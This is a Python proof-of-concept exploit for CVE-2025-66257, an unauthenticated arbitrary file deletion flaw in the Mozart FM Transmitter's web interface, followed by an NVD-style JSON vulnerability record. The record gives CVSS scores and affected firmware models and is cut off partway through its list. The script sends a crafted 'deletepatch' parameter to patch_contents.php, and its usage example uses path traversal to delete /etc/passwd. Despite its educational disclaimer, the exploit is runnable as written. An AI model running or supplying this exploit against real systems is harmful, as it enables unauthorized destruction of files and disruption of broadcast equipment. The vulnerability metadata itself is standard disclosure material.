CVE-2025-66257

#!/usr/bin/env python3 """ CVE-2025-66257 PoC - Mozart FM Transmitter Unauthenticated Arbitrary File Deletion Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_file_deletion(target_url, file_to_delete): """ Exploit the arbitrary file deletion vulnerability in patch_contents.php Args: target_url: Base URL of the Mozart FM Transmitter web interface file_to_delete: Path to the file to delete (relative to /var/www/patch/) Returns: bool: True if deletion appears successful, False otherwise """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/patch_contents.php" # Payload construction - the vulnerable 'deletepatch' parameter payload = { 'deletepatch': file_to_delete } print(f"[*] Target: {endpoint}") print(f"[*] File to delete: {file_to_delete}") try: # Send GET request with deletepatch parameter response = requests.get(endpoint, params=payload, verify=False, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check for indicators of successful deletion if response.status_code == 200: print("[+] Request completed - file may have been deleted") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python3 cve-2025-66257_poc.py <target_url> <file_to_delete>") print("Example: python3 cve-2025-66257_poc.py https://192.168.1.100 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print("="*60) print("CVE-2025-66257 PoC - Mozart FM Transmitter") print("Unauthenticated Arbitrary File Deletion") print("="*60) exploit_file_deletion(target, file_path) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-66257", "sourceIdentifier": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "published": "2025-11-26T01:16:09.000", "lastModified": "2025-12-03T16:50:15.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Arbitrary File Deletion (patch_contents.php) in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform The deletepatch parameter allows unauthenticated deletion of arbitrary files.\nThe `deletepatch` parameter in `patch_contents.php` allows unauthenticated deletion of arbitrary files in `/var/www/patch/` directory without sanitization or access control checks."}], "metrics": {"cvssMetricV40": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2B25533-2EF5-4158-9505-1CD18463DB68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:*", "matchCriteriaId": "7834E460-78EE-456A-84F7-0DECE004BD80"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3497F7E-0433-444B-A58A-A795C8833966"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FDEB3E77-E3D8-4878-BBE3-74530F3469B4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A975C91C-59BD-44AC-9F67-0682CE173738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:*", "matchCriteriaId": "F30F6688-FCDA-4BA5-ABD9-0EB91CDF7631"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7B57D15-6192-4D68-9CC5-726E052E7DDD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA1C3BA1-3E25-474B-B2A4-97136D6287BA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_300_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F0130D6C-CE17-4046-B0EB-0AD2DA7DC6AC"}]}, {"operator": "OR", " ... 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